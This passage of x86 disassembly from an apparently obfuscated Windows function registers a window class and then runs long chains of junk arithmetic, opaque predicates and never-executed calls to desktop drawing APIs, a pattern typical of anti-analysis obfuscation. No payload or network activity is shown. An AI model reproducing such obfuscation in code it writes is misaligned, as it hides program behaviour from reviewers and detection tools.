and dword [ebp - 0x2424], 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x2420], eax
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
mov dword [ebp - 0x241c], eax
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadCursorW]
mov dword [ebp - 0x2418], eax
mov dword [ebp - 0x2414], 5
and dword [ebp - 0x2410], 0
mov eax, dword [ebp - 0xe1c]
mov dword [ebp - 0x240c], eax
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
mov dword [ebp - 0x2408], eax
lea eax, [ebp - 0x2434]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExW]
mov dword [ebp - 0x32c], 0xfffffffe
mov dword [ebp - 0x16c8], 0
mov dword [ebp - 0xb00], 0x91b4956e
mov dword [ebp - 0x9f4], 0xffffffff
mov dword [ebp - 0x880], 0
jmp 0x473abb
mov eax, dword [ebp - 0x880]
inc eax
mov dword [ebp - 0x880], eax
cmp dword [ebp - 0x880], 3
jge 0x473ad7
mov eax, dword [ebp - 0x880]
mov dword [ebp + eax*4 - 0x1cc8], 0xe864896
jmp 0x473aae
mov dword [ebp - 0x32c], 0xfffffff2
jmp 0x473af0
mov eax, dword [ebp - 0x32c]
dec eax
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0xffffffe4
jle 0x473cab
mov dword [ebp - 0x1e18], 1
mov dword [ebp - 0x2510], 8
mov dword [ebp - 0x20d8], 0x7f6c
mov dword [ebp - 0x1ac], 0
jmp 0x473b34
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 4
jge 0x473b50
mov eax, dword [ebp - 0x1ac]
mov dword [ebp + eax*4 - 0x2d44], 0xfffffffb
jmp 0x473b27
mov dword [ebp - 0x1ac], 0
jmp 0x473b69
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 1
jge 0x473b85
mov eax, dword [ebp - 0x1ac]
mov dword [ebp + eax*4 - 0x205c], 1
jmp 0x473b5c
mov eax, dword [ebp - 0x1e18]
cmp dword [ebp - 0x32c], eax
jg 0x473bb3
mov eax, dword [ebp - 0x9f4]
mov ecx, dword [ebp - 0x9f4]
inc ecx
mov dword [ebp - 0x9f4], ecx
test eax, eax
jne 0x473bb3
and dword [ebp - 0x1150], 0
jmp 0x473bbd
mov dword [ebp - 0x1150], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2d44]
cmp dword [ebp - 0x32c], eax
jne 0x473bde
mov dword [ebp - 0x16b8], 1
jmp 0x473be5
and dword [ebp - 0x16b8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x205c]
cmp dword [ebp - 0x16b8], eax
jge 0x473c06
mov dword [ebp - 0x1148], 1
jmp 0x473c0d
and dword [ebp - 0x1148], 0
cmp dword [ebp - 0x1148], 0xa7ef
jl 0x473c25
mov dword [ebp - 0x1ab0], 1
jmp 0x473c2c
and dword [ebp - 0x1ab0], 0
mov eax, dword [ebp - 0x32c]
sub eax, dword [ebp - 0x1ab0]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x1cc8]
jg 0x473c53
mov dword [ebp - 0x16c0], 1
jmp 0x473c5a
and dword [ebp - 0x16c0], 0
mov eax, dword [ebp - 0x1150]
add eax, dword [ebp - 0x16c0]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x1cc8]
jl 0x473c80
mov dword [ebp - 0x1e20], 1
jmp 0x473c87
and dword [ebp - 0x1e20], 0
mov eax, dword [ebp - 0x16c8]
mov dword [ebp - 0x2ce8], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x20d8]
mov dword [ebp + eax - 0x2d44], ecx
jmp 0x473ae3
imul eax, dword [ebp - 0xb00], 0
cmp eax, dword [ebp - 0xb00]
jge 0x473cc6
mov dword [ebp - 0x1158], 1
jmp 0x473ccd
and dword [ebp - 0x1158], 0
cmp dword [ebp - 0x1158], 0x969e0cd1
jbe 0x473ce5
mov dword [ebp - 0x1970], 1
jmp 0x473cec
and dword [ebp - 0x1970], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1970]
sub ecx, dword [ebp + eax - 0x1cc8]
jne 0x473d1a
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1cc8], 0
jne 0x473d1a
and dword [ebp - 0x1160], 0
jmp 0x473d24
mov dword [ebp - 0x1160], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1cc8]
add eax, dword [ebp - 0x1160]
je 0x473d55
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1cc8], 0
je 0x473d55
mov dword [ebp - 0x1168], 1
jmp 0x473d5c
and dword [ebp - 0x1168], 0
mov eax, dword [ebp - 0x16c8]
cmp dword [ebp - 0x1168], eax
jne 0x473d76
mov dword [ebp - 0x1b60], 1
jmp 0x473d7d
and dword [ebp - 0x1b60], 0
cmp dword [ebp - 0x1b60], 0xffffffff
ja 0x473d92
mov dword [ebp - 0x1170], 1
jmp 0x473d99
and dword [ebp - 0x1170], 0
mov eax, dword [ebp - 0x1170]
mov dword [ebp - 0xb00], eax
mov dword [ebp - 0x60], 0x730f94f3
mov dword [ebp - 0x438], 0xe3b372ba
mov dword [ebp - 0x22d0], 0xc20f746e
mov dword [ebp - 0x22cc], 0xc20f746e
mov dword [ebp - 0x22c8], 0xc20f746e
mov dword [ebp - 0x22c4], 0xc20f746e
mov dword [ebp - 0x16d8], 0x6200d40a
mov dword [ebp - 0x16e0], 0xfffffff8
mov dword [ebp - 0x440], 0x9c17f726
mov dword [ebp - 0x6d8], 0
jmp 0x473e15
mov eax, dword [ebp - 0x6d8]
inc eax
mov dword [ebp - 0x6d8], eax
cmp dword [ebp - 0x6d8], 4
jge 0x473e31
mov eax, dword [ebp - 0x6d8]
mov dword [ebp + eax*4 - 0x1cbc], 0x4ec2e0cf
jmp 0x473e08
mov dword [ebp - 0x60], 0
jmp 0x473e41
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 3
jg 0x4741bb
mov dword [ebp - 0x478], 0xf8b5131d
mov dword [ebp - 0x33c], 0
mov dword [ebp - 0x334], 0xffffffff
mov dword [ebp - 0x1e30], 0x55248722
mov eax, dword [ebp - 0x60]
cmp dword [ebp + eax*4 - 0x1cbc], 0
jne 0x473e91
mov eax, dword [ebp - 0x60]
cmp dword [ebp - 0x60], eax
jg 0x473e91
and dword [ebp - 0x9fc], 0
jmp 0x473e9b
mov dword [ebp - 0x9fc], 1
cmp dword [ebp - 0x60], 0
jne 0x473eb0
cmp dword [ebp - 0x60], 0
jne 0x473eb0
and dword [ebp - 0x16d0], 0
jmp 0x473eba
mov dword [ebp - 0x16d0], 1
mov eax, dword [ebp - 0x16d0]
mov dword [ebp - 0x438], eax
mov eax, dword [ebp - 0x438]
mov dword [ebp - 0x33c], eax
mov eax, dword [ebp - 0x33c]
imul eax, dword [ebp - 0x334]
cmp eax, dword [ebp - 0x334]
jle 0x473ef3
mov dword [ebp - 0x1178], 1
jmp 0x473efa
and dword [ebp - 0x1178], 0
cmp dword [ebp - 0x1178], 0x3fa3
jne 0x473f12
mov dword [ebp - 0x1978], 1
jmp 0x473f19
and dword [ebp - 0x1978], 0
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x9fc]
mov dword [ebp + eax*4 - 0x1cbc], ecx
mov eax, dword [ebp - 0x9fc]
mov dword [ebp - 0x478], eax
mov eax, dword [ebp - 0x478]
cmp eax, dword [ebp - 0x1978]
jle 0x473f4f
mov dword [ebp - 0x1180], 1
jmp 0x473f56
and dword [ebp - 0x1180], 0
mov eax, dword [ebp - 0x334]
imul eax, dword [ebp - 0x1180]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x22d0], eax
mov eax, dword [ebp - 0x33c]
push 4
pop ecx
shl ecx, 0
sub eax, dword [ebp + ecx - 0x1cbc]
mov dword [ebp - 0x16d8], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x16d8]
mov dword [ebp + eax - 0x1cbc], ecx
mov eax, dword [ebp - 0x438]
add eax, dword [ebp - 0x16e0]
cmp dword [ebp - 0x478], eax
je 0x473fbb
mov dword [ebp - 0x1188], 1
jmp 0x473fc2
and dword [ebp - 0x1188], 0
mov eax, dword [ebp - 0x1188]
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 0
jne 0x473fed
xor eax, eax
jne 0x473fed
mov eax, 0x6369dda3
test eax, eax
jne 0x473fed
and dword [ebp - 0x1ab8], 0
jmp 0x473ff7
mov dword [ebp - 0x1ab8], 1
mov eax, dword [ebp - 0x1ab8]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x22d0]
jge 0x474019
mov dword [ebp - 0x1e28], 1
jmp 0x474020
and dword [ebp - 0x1e28], 0
cmp dword [ebp - 0x334], 0
jae 0x474035
mov dword [ebp - 0x1190], 1
jmp 0x47403c
and dword [ebp - 0x1190], 0
mov eax, dword [ebp - 0x438]
add eax, dword [ebp - 0x1190]
cmp eax, 0x413f
je 0x47405b
mov dword [ebp - 0x1198], 1
jmp 0x474062
and dword [ebp - 0x1198], 0
mov eax, dword [ebp - 0x16e0]
cmp dword [ebp - 0x1198], eax
jge 0x47407c
mov dword [ebp - 0x2068], 1
jmp 0x474083
and dword [ebp - 0x2068], 0
mov eax, dword [ebp - 0x1e30]
mov dword [ebp - 0x2518], eax
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp + eax*4 - 0x1cbc]
mov dword [ebp - 0x33c], eax
cmp dword [ebp - 0x33c], 0
je 0x4741aa
mov dword [ebp - 0x1980], 0x507b3925
mov dword [ebp - 0x1e38], 0xffffffff
mov eax, dword [ebp - 0x1980]
dec eax
mov dword [ebp - 0x1980], eax
cmp dword [ebp - 0x334], 0
jne 0x4740fb
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp + eax*4 - 0x1cbc]
mov dword [ebp - 0x2974], eax
mov eax, 0x618e188a
add eax, 0x54ba4fda
jne 0x4740fb
and dword [ebp - 0x20dc], 0
jmp 0x474105
mov dword [ebp - 0x20dc], 1
mov eax, dword [ebp - 0x440]
mov dword [ebp - 0x33c], eax
mov eax, dword [ebp - 0x33c]
mov dword [ebp - 0x11a0], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x11a0]
mov dword [ebp + eax - 0x22d0], ecx
mov eax, dword [ebp - 0x11a0]
mov dword [ebp - 0x478], eax
mov eax, dword [ebp - 0x478]
mov dword [ebp - 0x2520], eax
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp + eax*4 - 0x1cbc]
cmp dword [ebp - 0x438], eax
jle 0x474166
mov dword [ebp - 0xa90], 1
jmp 0x47416d
and dword [ebp - 0xa90], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xa90]
mov dword [ebp + eax - 0x1cbc], ecx
cmp dword [ebp - 0xa90], 0
ja 0x474195
mov dword [ebp - 0x16e8], 1
jmp 0x47419c
and dword [ebp - 0x16e8], 0
mov eax, dword [ebp - 0x16e8]
mov dword [ebp - 0x1e38], eax
jmp 0x4741b6
mov eax, dword [ebp - 0x438]
mov dword [ebp - 0x478], eax
jmp 0x473e3a
mov dword [ebp - 0x440], 0
jmp 0x4741d4
mov eax, dword [ebp - 0x440]
inc eax
mov dword [ebp - 0x440], eax
cmp dword [ebp - 0x440], 3
jg 0x4741f0
mov eax, dword [ebp - 0x440]
mov dword [ebp + eax*4 - 0x1cbc], 0x62afeddd
jmp 0x4741c7
mov dword [ebp - 0x344], 0x9d94b4b1
mov dword [ebp - 0x2b58], 0xffffffff
mov dword [ebp - 0x2528], 0x39cee24b
mov dword [ebp - 0x297c], 0x4af7bdd4
mov dword [ebp - 0x2530], 0x4fd52280
mov dword [ebp - 0x6e8], 0
mov dword [ebp - 0x11c8], 3
mov dword [ebp - 0x888], 0
jmp 0x47424f
mov eax, dword [ebp - 0x888]
inc eax
mov dword [ebp - 0x888], eax
cmp dword [ebp - 0x888], 2
jge 0x47426b
mov eax, dword [ebp - 0x888]
mov dword [ebp + eax*4 - 0x2320], 0x7df2f4a8
jmp 0x474242
mov eax, dword [ebp - 0x344]
mov dword [ebp - 0x2c08], eax
mov eax, dword [ebp - 0x344]
mov dword [ebp - 0x2538], eax
cmp dword [ebp - 0x344], 0xffffffff
je 0x474298
mov dword [ebp - 0x11a8], 1
jmp 0x47429f
and dword [ebp - 0x11a8], 0
cmp dword [ebp - 0x11a8], 1
jg 0x4742b4
mov dword [ebp - 0x1be4], 1
jmp 0x4742bb
and dword [ebp - 0x1be4], 0
mov eax, dword [ebp - 0x344]
cmp dword [ebp - 0x1be4], eax
je 0x4742d5
mov dword [ebp - 0x11b0], 1
jmp 0x4742dc
and dword [ebp - 0x11b0], 0
cmp dword [ebp - 0x11b0], 0x81d21f1e
jb 0x4742f4
mov dword [ebp - 0x16f0], 1
jmp 0x4742fb
and dword [ebp - 0x16f0], 0
mov eax, dword [ebp - 0x344]
cmp dword [ebp - 0x16f0], eax
jne 0x474315
mov dword [ebp - 0x11b8], 1
jmp 0x47431c
and dword [ebp - 0x11b8], 0
mov eax, dword [ebp - 0x344]
cmp dword [ebp - 0x11b8], eax
jg 0x474336
mov dword [ebp - 0x1988], 1
jmp 0x47433d
and dword [ebp - 0x1988], 0
mov eax, dword [ebp - 0x344]
cmp dword [ebp - 0x1988], eax
jne 0x474357
mov dword [ebp - 0x16f8], 1
jmp 0x47435e
and dword [ebp - 0x16f8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2320]
inc eax
mov dword [ebp - 0x11c0], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x11c0]
mov dword [ebp + eax - 0x2320], ecx
mov eax, dword [ebp - 0x11c0]
cmp eax, dword [ebp - 0x16f8]
je 0x474441
mov dword [ebp - 0x2984], 0x83674579
mov dword [ebp - 0x2540], 0x24b5e495
mov dword [ebp - 0x890], 0x60de5741
mov dword [ebp - 0x2b60], 0
mov dword [ebp - 0x6e0], 0
jmp 0x4743d8
mov eax, dword [ebp - 0x6e0]
inc eax
mov dword [ebp - 0x6e0], eax
cmp dword [ebp - 0x6e0], 1
jge 0x4743f4
mov eax, dword [ebp - 0x6e0]
mov dword [ebp + eax*4 - 0x2548], 0
jmp 0x4743cb
mov eax, dword [ebp - 0x11c8]
inc eax
mov dword [ebp - 0x11c8], eax
mov dword [ebp - 0x890], 0x11
jmp 0x47441a
mov eax, dword [ebp - 0x890]
dec eax
mov dword [ebp - 0x890], eax
cmp dword [ebp - 0x890], 0xfffffffd
jg 0x47443c
mov dword [ebp - 0x1ac0], 0xfffffff9
mov eax, dword [ebp - 0x1ac0]
inc eax
mov dword [ebp - 0x1ac0], eax
jmp 0x47440d
jmp 0x4744ca
mov dword [ebp - 0x2074], 0xa781b5f7
mov dword [ebp - 0x6e8], 1
jmp 0x474464
mov eax, dword [ebp - 0x6e8]
dec eax
mov dword [ebp - 0x6e8], eax
cmp dword [ebp - 0x6e8], 0
jl 0x4744ca
mov dword [ebp - 0x898], 0
jmp 0x474486
mov eax, dword [ebp - 0x898]
inc eax
mov dword [ebp - 0x898], eax
cmp dword [ebp - 0x898], 1
jge 0x4744a2
mov eax, dword [ebp - 0x898]
mov dword [ebp + eax*4 - 0x11d0], 9
jmp 0x474479
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x11d0]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x11d0], eax
cmp dword [ebp - 0x2074], 0
je 0x4744c8
jmp 0x474457
jmp 0x474457
mov dword [ebp - 0xa04], 0
mov dword [ebp - 0x1e40], 1
mov dword [ebp - 0x6f0], 0
jmp 0x4744f7
mov eax, dword [ebp - 0x6f0]
inc eax
mov dword [ebp - 0x6f0], eax
cmp dword [ebp - 0x6f0], 4
jge 0x474513
mov eax, dword [ebp - 0x6f0]
mov dword [ebp + eax*4 - 0x1d08], 0x197f0a29
jmp 0x4744ea
mov byte [ebp - 0x3ed], 0
movzx eax, byte [ebp - 0x3ed]
test eax, eax
je 0x474552
push 0x1a22
push 0x208a
push 0x19ce
push 0x8d
push 0x12ca
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PatBlt]
mov dword [ebp - 0xa04], 0xcb143e95
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1d08]
sub eax, dword [ebp - 0xa04]
je 0x4745b7
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1d08]
mov dword [ebp - 0xa04], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1d08]
mov dword [ebp - 0x298c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1d08]
mov dword [ebp - 0x2550], eax
xor eax, eax
je 0x4745b7
and dword [ebp - 0x1700], 0
jmp 0x4745c1
mov dword [ebp - 0x1700], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1d08]
add eax, dword [ebp - 0x1700]
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x1d08]
jle 0x4745ee
mov dword [ebp - 0x11d8], 1
jmp 0x4745f5
and dword [ebp - 0x11d8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x1d08]
imul eax, dword [ebp - 0x11d8]
test eax, eax
jne 0x474626
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x1d08], 0
jne 0x474626
and dword [ebp - 0x1990], 0
jmp 0x474630
mov dword [ebp - 0x1990], 1
mov eax, dword [ebp - 0x1990]
mov dword [ebp - 0x1e40], eax
mov dword [ebp - 0x8f8], 0xc29000d4
mov dword [ebp - 0x34c], 0x1e94
mov dword [ebp - 0x8a8], 0xfffffff8
mov dword [ebp - 0x2c90], 0x8cac31e1
mov dword [ebp - 0x19a0], 0
mov dword [ebp - 0xa98], 0x78ed7c3b
mov dword [ebp - 0xa0c], 0xffffffff
mov dword [ebp - 0x6f8], 0x683a7ef2
mov dword [ebp - 0x20e4], 0xdd79339b
mov dword [ebp - 0x1210], 0xc469
mov dword [ebp - 0x8a0], 0
jmp 0x4746b9
mov eax, dword [ebp - 0x8a0]
inc eax
mov dword [ebp - 0x8a0], eax
cmp dword [ebp - 0x8a0], 1
jge 0x4746d5
mov eax, dword [ebp - 0x8a0]
mov dword [ebp + eax*4 - 0xaec], 0
jmp 0x4746ac
mov eax, dword [ebp - 0x34c]
mov dword [ebp - 0x2558], eax
mov eax, dword [ebp - 0x34c]
mov dword [ebp - 0x2994], eax
mov eax, dword [ebp - 0x6f8]
inc eax
mov dword [ebp - 0x6f8], eax
mov eax, 0xffff
sub eax, dword [ebp - 0x19a0]
cmp dword [ebp - 0x6f8], eax
jl 0x474719
mov dword [ebp - 0x11e0], 1
jmp 0x474720
and dword [ebp - 0x11e0], 0
mov eax, dword [ebp - 0xa98]
imul eax, dword [ebp - 0x11e0]
cmp eax, dword [ebp - 0x20e4]
jne 0x474745
xor eax, eax
je 0x474745
mov dword [ebp - 0x1708], 1
jmp 0x47474c
and dword [ebp - 0x1708], 0
cmp dword [ebp - 0x1708], 0xcf22
jge 0x474764
mov dword [ebp - 0x11e8], 1
jmp 0x47476b
and dword [ebp - 0x11e8], 0
mov eax, dword [ebp - 0x34c]
cmp dword [ebp - 0x11e8], eax
je 0x474785
mov dword [ebp - 0x1b68], 1
jmp 0x47478c
and dword [ebp - 0x1b68], 0
mov eax, dword [ebp - 0x34c]
cmp dword [ebp - 0x1b68], eax
jge 0x4747a6
mov dword [ebp - 0x11f0], 1
jmp 0x4747ad
and dword [ebp - 0x11f0], 0
cmp dword [ebp - 0x11f0], 0x3b882169
je 0x4747ce
mov eax, 0xffff
test eax, eax
je 0x4747ce
mov dword [ebp - 0x1710], 1
jmp 0x4747d5
and dword [ebp - 0x1710], 0
mov eax, dword [ebp - 0x1210]
imul eax, dword [ebp - 0x1710]
sub eax, 9
imul eax, dword [ebp - 0x34c]
test eax, eax
je 0x474805
cmp dword [ebp - 0x6f8], 0
je 0x474805
mov dword [ebp - 0x11f8], 1
jmp 0x47480c
and dword [ebp - 0x11f8], 0
cmp dword [ebp - 0x11f8], 0x996f
jg 0x474824
mov dword [ebp - 0x1998], 1
jmp 0x47482b
and dword [ebp - 0x1998], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xaec]
cmp eax, dword [ebp - 0x1998]
jle 0x47484c
mov dword [ebp - 0x1200], 1
jmp 0x474853
and dword [ebp - 0x1200], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xaec]
cmp dword [ebp - 0x1200], eax
jg 0x474874
mov dword [ebp - 0x1718], 1
jmp 0x47487b
and dword [ebp - 0x1718], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xaec]
cmp dword [ebp - 0x1718], eax
jle 0x47489c
mov dword [ebp - 0x1208], 1
jmp 0x4748a3
and dword [ebp - 0x1208], 0
mov eax, dword [ebp - 0x34c]
cmp dword [ebp - 0x1208], eax
jl 0x4748c3
mov eax, 0x786ae2ad
test eax, eax
jne 0x4748c3
and dword [ebp - 0x1ac8], 0
jmp 0x4748cd
mov dword [ebp - 0x1ac8], 1
mov eax, dword [ebp - 0xa0c]
imul eax, dword [ebp - 0x1ac8]
cmp eax, dword [ebp - 0xa0c]
jne 0x4748ee
mov dword [ebp - 0x1e48], 1
jmp 0x4748f5
and dword [ebp - 0x1e48], 0
mov eax, dword [ebp - 0x34c]
mov dword [ebp - 0x8a8], eax
mov eax, dword [ebp - 0x8a8]
mov dword [ebp - 0x2560], eax
mov eax, dword [ebp - 0x1210]
mov dword [ebp - 0x2b68], eax
cmp dword [ebp - 0x8a8], 0
jne 0x474934
cmp dword [ebp - 0x8a8], 0
jne 0x474934
and dword [ebp - 0x1720], 0
jmp 0x47493e
mov dword [ebp - 0x1720], 1
mov eax, dword [ebp - 0xa0c]
cmp dword [ebp - 0x1720], eax
jne 0x474958
mov dword [ebp - 0x1218], 1
jmp 0x47495f
and dword [ebp - 0x1218], 0
cmp dword [ebp - 0x1218], 0xfffffff9
jne 0x474974
mov dword [ebp - 0x1220], 1
jmp 0x47497b
and dword [ebp - 0x1220], 0
mov eax, dword [ebp - 0x19a0]
cmp dword [ebp - 0x1220], eax
jg 0x474995
mov dword [ebp - 0x1728], 1
jmp 0x47499c
and dword [ebp - 0x1728], 0
mov eax, dword [ebp - 0x1728]
mov dword [ebp - 0xa98], eax
mov dword [ebp - 0xa98], 0xffffffff
mov dword [ebp - 0x2568], 0xfffffffe
mov dword [ebp - 0x98], 0x6270e7ad
mov dword [ebp - 0x210], 0
jmp 0x4749df
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 1
jge 0x4749f8
mov eax, dword [ebp - 0x210]
mov dword [ebp + eax*4 - 0x7c], 0xffffffff
jmp 0x4749d2
mov dword [ebp - 0x210], 0
jmp 0x474a11
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 4
jge 0x474a2d
mov eax, dword [ebp - 0x210]
mov dword [ebp + eax*4 - 0x2ee0], 0xf30385d0
jmp 0x474a04
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x7c], 0x10
jmp 0x474a52
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7c], 0xfffffff5
jle 0x474da9
mov dword [ebp - 0x1b4], 0xb0d193e0
cmp dword [ebp - 0x1b4], 0
jne 0x474b42
cmp dword [ebp - 0x98], 0xf9e3d3b0
jb 0x474a92
mov dword [ebp - 0x1228], 1
jmp 0x474a99
and dword [ebp - 0x1228], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7c]
sub eax, dword [ebp - 0x1228]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x7c]
jge 0x474ac1
mov dword [ebp - 0x1bc0], 1
jmp 0x474ac8
and dword [ebp - 0x1bc0], 0
mov eax, dword [ebp - 0x1bc0]
add eax, 0x672
cmp eax, 0x7d96711d
je 0x474ae6
mov dword [ebp - 0x1230], 1
jmp 0x474aed
and dword [ebp - 0x1230], 0
imul eax, dword [ebp - 0x1230], 0xfff7
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x7c]
je 0x474b15
cmp dword [ebp - 0x1b4], 0
jne 0x474b15
and dword [ebp - 0x1730], 0
jmp 0x474b1f
mov dword [ebp - 0x1730], 1
mov eax, dword [ebp - 0x1b4]
add eax, dword [ebp - 0x1730]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x98]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x7c]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7c]
add eax, 0x1c1d
jne 0x474b69
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7c], 0
jne 0x474b69
and dword [ebp - 0x1238], 0
jmp 0x474b73
mov dword [ebp - 0x1238], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7c]
sub eax, dword [ebp - 0x1238]
je 0x474b9e
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7c], 0
je 0x474b9e
mov dword [ebp - 0x19a8], 1
jmp 0x474ba5
and dword [ebp - 0x19a8], 0
mov eax, dword [ebp - 0x1b4]
add eax, dword [ebp - 0x19a8]
jne 0x474bbf
mov dword [ebp - 0x1240], 1
jmp 0x474bc6
and dword [ebp - 0x1240], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7c]
cmp dword [ebp - 0x1240], eax
jne 0x474c64
cmp dword [ebp - 0x1b4], 0
je 0x474bea
jmp 0x474da9
mov dword [ebp - 0x98], 0
jmp 0x474c03
mov dword [ebp - 0x98], 0xffffffe4
jmp 0x474c7d
cmp dword [ebp - 0x98], 0xffffffea
jg 0x474da4
mov dword [ebp - 0x299c], 0
mov dword [ebp - 0x708], 0
mov dword [ebp - 0x708], 0x16
jmp 0x474dd6
mov eax, dword [ebp - 0x708]
dec eax
mov dword [ebp - 0x708], eax
cmp dword [ebp - 0x708], 0xc
jge 0x474df6
mov dword [ebp - 0x2080], 0x2cb51dba
cmp dword [ebp - 0x2080], 0
je 0x474df4
jmp 0x474df6
jmp 0x474dc9
mov byte [ebp - 0x2b6], 0
movzx eax, byte [ebp - 0x2b6]
test eax, eax
je 0x474e28
push 0
push 0x10d4
push 0x115e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
mov dword [ebp - 0x2570], 1
mov dword [ebp - 0x264], 0xd7b1
mov dword [ebp - 0x490], 0x6695998
mov dword [ebp - 0xe4], 0xdc6b79df
mov dword [ebp - 0x468], 5
mov dword [ebp - 0x354], 0xa0148014
mov dword [ebp - 0x28], 0x976b5a7d
mov dword [ebp - 0x1288], 0x2bca918c
mov dword [ebp - 0x1e68], 0xfffffffe
mov dword [ebp - 0x8b8], 0
jmp 0x474e98
mov eax, dword [ebp - 0x8b8]
inc eax
mov dword [ebp - 0x8b8], eax
cmp dword [ebp - 0x8b8], 2
jge 0x474eb4
mov eax, dword [ebp - 0x8b8]
mov dword [ebp + eax*4 - 0x2088], 0x74f57033
jmp 0x474e8b
mov eax, dword [ebp - 0x490]
mov dword [ebp - 0x2c10], eax
mov eax, dword [ebp - 0x490]
sub eax, 0xdfb86a2
cmp eax, dword [ebp - 0x490]
jle 0x474edf
mov dword [ebp - 0x1248], 1
jmp 0x474ee6
and dword [ebp - 0x1248], 0
mov eax, dword [ebp - 0x1248]
mov dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0xe4]
sub eax, 9
cmp eax, 0x855eec80
jae 0x474f0e
mov dword [ebp - 0xc88], 7
mov dword [ebp - 0x744], 0
jmp 0x4810f5
mov eax, dword [ebp - 0x744]
inc eax
mov dword [ebp - 0x744], eax
cmp dword [ebp - 0x744], 1
jge 0x481111
mov eax, dword [ebp - 0x744]
mov dword [ebp + eax*4 - 0xbc], 0x976ff55e
jmp 0x4810e8
mov byte [ebp - 0x2a1], 0
movzx eax, byte [ebp - 0x2a1]
test eax, eax
je 0x481147
push 0x129a
push 0
push 0
push 0
push 0
push 0x950
push 0x1334
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindowEx]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xbc]
add eax, 0xffff
imul eax, eax, 0xcf95
test eax, eax
je 0x48117f
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xbc], 0
je 0x48117f
mov dword [ebp - 0xc28], 1
jmp 0x481186
and dword [ebp - 0xc28], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xbc]
cmp eax, dword [ebp - 0xc28]
jg 0x4811a7
mov dword [ebp - 0xc30], 1
jmp 0x4811ae
and dword [ebp - 0xc30], 0
push 4
pop eax
imul eax, eax, 0
